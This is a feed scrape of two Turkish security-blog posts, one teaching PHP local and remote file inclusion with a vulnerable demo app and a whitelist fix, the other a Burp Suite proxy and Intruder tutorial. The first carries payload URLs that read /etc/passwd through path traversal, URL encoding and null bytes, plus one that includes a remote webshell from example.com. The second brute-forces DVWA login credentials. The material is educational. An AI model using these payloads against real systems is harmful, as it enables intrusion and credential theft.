web application security arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:37:30 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png web application security arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | PHP File Inclusion Vulnerability https://canyoupwn.me/tr-php-file-inclusion-vulnerability/ https://canyoupwn.me/tr-php-file-inclusion-vulnerability/#respond Sun, 24 Jul 2016 09:53:28 +0000 https://canyoupwn.me/?p=2520 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, web uygulama güvenliğinde sayfaya dosya dahil etme(file inclusion) önemli bir zafiyet türüdür. Bu zafiyet türünün iyi anlaşılması için yazdığımı uygulamayı ve konunun detaylarını inceleyeceğiz. PHP dili ile yazdığımız bu uygulamaya https://github.com/sinansahin/cvwa-php-example adresinden ulaşabilirsiniz. Dosya dahil etme zafiyetleri iki türlüdür. Bunlardan birisi uzak dosya dahil etme(remote file inclusion), diğeri yerel dosya dahil etme(local file inclusion). […]

TR | PHP File Inclusion Vulnerability Sinan Şahin

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, web uygulama güvenliğinde sayfaya dosya dahil etme(file inclusion) önemli bir zafiyet türüdür. Bu zafiyet türünün iyi anlaşılması için yazdığımı uygulamayı ve konunun detaylarını inceleyeceğiz. PHP dili ile yazdığımız bu uygulamaya https://github.com/sinansahin/cvwa-php-example adresinden ulaşabilirsiniz.

Dosya dahil etme zafiyetleri iki türlüdür. Bunlardan birisi uzak dosya dahil etme(remote file inclusion), diğeri yerel dosya dahil etme(local file inclusion). Uzak dosya dahil etme açığı, saldırganın sunucunuzda bulunmayan fakat sizin sisteminize zarar verecek veya veri hırsızlığına yol açabilecek kodların sizin sunucunuzda çalıştırması işlemidir. Yerel dosya dahil etme açığı ise kendi sistemimizde bulunan bir dosyanın istenmeyen bir şekilde saldırgan tarafından çalıştırılması işlemidir. Bu zafiyet ile saldırgan passwd ve config dosyaları gibi önemli dosyaları okuyabilir.

Zafiyet Nasıl Oluşuyor?

  • Önlem Alınmamış

file inclusion example code

Genel olarak yukarıdaki gibi dahil edilecek dosya get ile alınıp hiç bir kontrol ve temizleme işlemine tabi tutulmadan include fonksiyonuna veriliyor. Saldırgan adres satırında ” index.php?file=/etc/passwd ” şeklinde bir istek yaptığında sistemin passwd dosyasını okuyabiliyor. Sistem içersinden bir dosya olan passwd’yi okumakla saldırgan local file inclusion zafiyetini kullanmış oldu. Saldırgan adres satırına ” index.php?file=http://example.com/webshell.txt ” şeklinde bir istek yaptığında eğer sistemin ayarlarında uzak dosya dahil etme aktif ise saldırgan sisteminiz üzerinde shell dosyası çalıştırmış olacaktır. Bu shell dosyasının özelliklerine ve salgırganın yeteneklerine göre artık saldırgan sisteminizde at koşturabilir 🙂 Php versiyonunuz 4.0.3 ve üstü ise varsayılan olarak sisteminizin uzaktan dosya çalıştırma özelliği kapalıdır.

  • Yetersiz Önlem Alınmışlar

level2

Yazılımcı arkadaş kendince bir önlem almış. Saldırgan ” index.php?file=/etc/passwd ” şeklinde yapacağı isteği önlemiş. Fakat unuttuğu bir durum mevcut; dizinler arası geçiş. Saldırganın ” index.php?file=../../../../../etc/passwd ” şeklinde bir isteğine yazılımcı önlemi geçerli olmayacaktır.

level3

Yazılımcı arkadaş saldırgan passwd dosyasını okuyamasın diye get isteği ile gelen veri içersindeki ” ../ ” değerlerini silmiş. Artık saldırgan ” index.php?file=/etc/passwd ” böyle bir istek yaptığında emellerine ulaşamıyor. Fakat yazılımcı arkadaşın atladığı bir durum mevcut: url encode. Saldırgan ” index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd ” şeklinde bir payload ile yoluna devam edebilir.

level4

Yazılımcı arkadaş üstteki bu kod ile gelen veriye uzantı ekleyip içersinde url encoding yapılmış karakterleri temizlemiş. Burada PHP dilinin boş karakter görünce devamındaki kodu işlememesi durumunu veya çöp değer gönderme yöntemini kullanabiliriz. Saldırgan ” index.php?file=http://google.com%00 “, ” index.php?file=http://192.168.56.101/index.php?cop= ” ve buna benzer ürettiği bir çok payload ile emellerine ulaşabilir.

  • Önlem alınmış

secure code

Bir çok önlem alınmamış kod inceledik. Peki bu zafiyeti oluşturmadan dosya dahil etme işlemini nasıl yapacağız sorunuza  yukarıdaki kodu geliştirdik. Dahil edeceğiniz dosyaları önceden belirlemeniz sizi bir anlamdan güvene alacaktır.  Gelen isteğin içinden sadece dosya adını ayrıştırıp, dizi içinde var mı kontrolü ile dahil edeceğiniz dosyayı doğru seçebilirsiniz.

Sorularınızı ve yorumlarınızı aşağıda paylaşırsanız memnun oluruz.

TR | PHP File Inclusion Vulnerability Sinan Şahin

]]>
https://canyoupwn.me/tr-php-file-inclusion-vulnerability/feed/ 0
TR | Burp Suite Cheat Sheet https://canyoupwn.me/tr-burp-suite-cheat-sheet/ https://canyoupwn.me/tr-burp-suite-cheat-sheet/#respond Thu, 07 Apr 2016 09:23:21 +0000 https://canyoupwn.me/?p=1553 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Burp Suite sızma testlerinde kullanılan bir web proxy uygulamasıdır. Barındırdığı bir çok özellik ile web uygulama güvenliği testlerinde çok popüler uygulamalardandır. Buradan indirebilirsiniz. Web sitesi işlemleri sunucu-istemci mimarisini kullanmaktayız. Bir web sitesini incelerken giden ve gelen paketleri inceleriz. Sağlık bir şekilde bu incelemeyi yapabilmemiz için sunucu ile istemci arasına girmemiz gerekiyor. Burp Suite tam dabu […]

TR | Burp Suite Cheat Sheet Sinan Şahin

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Burp Suite sızma testlerinde kullanılan bir web proxy uygulamasıdır. Barındırdığı bir çok özellik ile web uygulama güvenliği testlerinde çok popüler uygulamalardandır. Buradan indirebilirsiniz. Web sitesi işlemleri sunucu-istemci mimarisini kullanmaktayız. Bir web sitesini incelerken giden ve gelen paketleri inceleriz. Sağlık bir şekilde bu incelemeyi yapabilmemiz için sunucu ile istemci arasına girmemiz gerekiyor. Burp Suite tam dabu işi yapıyor. Burp Suite’yi kullanabilemeniz için aşağıda gösterildiği gibi tarayıcı ayarlarınızdan proxy kısmını 127.0.0.1:8080 adresine yönlendirmelisiniz.

proxy

Tarayıcıyı ayarladıktan sonra Burp Suite ekranında Proxy sekmesi altında bulunan Options sekmesinde aktif olan dinleyiciler listelenir.

2016-04-06 22_46_55 ekran görüntüsü

Burada eğer yoksa Add butonuna tıklayıp yeni bir dinleyici eklemelisiniz. Eğer varsa aşağıda görüldüğü gibi seçili dinleyici de Edit butonuna tıklayarak bu dinleyiciyi düzenleyebilirsiniz.

aa

Bu işlemleri gerçekleştirdikten sonra ilk araya girme işlemimizi yapalım. Tarayıcıyı açıp herhangi bir sayfanın adresini yazıp enterlayın. Biz aşağıda görüldüğü gibi sinansahin.net.tr adresine istek gerçekleştiriyoruz.

2016-04-07 09_15_39 ekran görüntüsü

Burp Suite ekranını açtığımız da yaptığımız isteğin bilgilerini görebiliriz. Bu ekran da bulunan Forward butonu isteği isteği geçir devam ettir işlevini gerçekleştirir. Bu butona bastığımız da tarayıcıdan yapılan istek bizden çıkar istek sahibine gider. Drop butonu ise bu istek paketini öldür anlamına gelir. Bu botuna bastığımızda istek paketi aradaki kontroller olan biz yani Burp Suite tarafından öldürür. Forward edip response değerine bakalım. Aşağıda görüldüğü gibi tarayıcıya dönen cevabı görebiliriz. Bu response değeri bize server bilgisi oturum durumların cookie bilgisi ve birçok önemli veriye ulaşmamızı sağlar.

2016-04-07 09_16_27 ekran görüntüsü

Intruder Kullanımı

Burp Suite özelliklerinden biri olan Intruder bir sayfaya istek gönderirken gönderilen değerleri bir değişkene atayıp bu değerleri bir sözlük kullanarak istek sayısını artırıp dönen değerleri görmemizi sağlar. Kısaca Intruder bir login sayfasında bulunan username ve password alanlarına önceden üretilmiş değerleri tek tek deneyip dönen cevapları listeler. Bu özelliği kullanmak için Dwva uygulamasının login sayfasına istek atıyoruz. Aşağıda görüldüğü gibi forma girdiğimiz username ve password değerleri istek paketimizde gözüküyor.

2016-04-07 08_36_49 ekran görüntüsü

Action botununa tıkladığımızda açılan listeden Send to Intruder’e tıklıyoruz. Intruder sekmesinde peketimiz gözükmektedir artık.

2016-04-07 08_39_01 ekran görüntüsü

Değişken olarak username ve password için önce yan tarafta bulunan Clear butonuna tıklamalısınız. Daha sonra Add botununa tıklayıp username ve password değerlerini seçiniz. Attack Type olarak Cluster bomb seçeneğini seçiniz. Payloads sekmesine geçip burada bu alanlar için ürettiğiniz değerleri girmelisiniz. 2016-04-07 08_40_18 ekran görüntüsüPayload set değerleri değişken sayısınıza göre belirlemelisiniz. Her bir payload için options bölümünden değerler girmelisiniz. Daha sonra üst menü de Intruder altında bulunan Start Attack seçeneğine tıklamanız gerekmektedir. Artık tüm girdiğiniz değerler, seçtiğiniz değişkenlere yerleştirilip istek yapılacak ve response değerleri dönecektir.

2016-04-07 08_45_43 ekran görüntüsü

Lenght değeri dönen verinin boyutunu belirtir. Atağınızda bir doğru username ve password ikilisi var kabul edersek sadece o isteğin boyutunu farklı olacaktır. Yaptığınız atak listesinde farklı olan değerler sizi doğru sonuca götürür.

 

TR | Burp Suite Cheat Sheet Sinan Şahin

]]>
https://canyoupwn.me/tr-burp-suite-cheat-sheet/feed/ 0